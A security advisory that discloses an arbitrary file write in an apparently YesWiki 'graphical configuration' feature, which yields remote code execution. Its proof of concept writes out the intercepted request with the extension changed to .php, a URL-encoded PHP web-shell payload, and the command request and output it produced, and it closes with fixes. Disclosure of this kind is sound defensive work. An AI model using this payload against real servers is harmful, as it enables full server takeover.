GHSA-88xg-v53p-fpvf

### Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

### PoC Proof of Concept

Navigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`.


After clicking save, this request is made (most headers removed for clarity):

``` POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif ```

This request writes the file `test.css` to disk with the contents (abbreviated) ``` :root { --primary-color: #0c5d6a; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ```

To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters.

e.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`

Now the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present.

``` :root { --primary-color: <?php system($_GET['cmd']); ?>; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ```

Then, simply visit the file with a `cmd` parameter included.

``` http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id ```

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

``` :root { --primary-color: uid=501(yeswiki) gid=501 groups=501 ; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ``` 

### Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

## Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories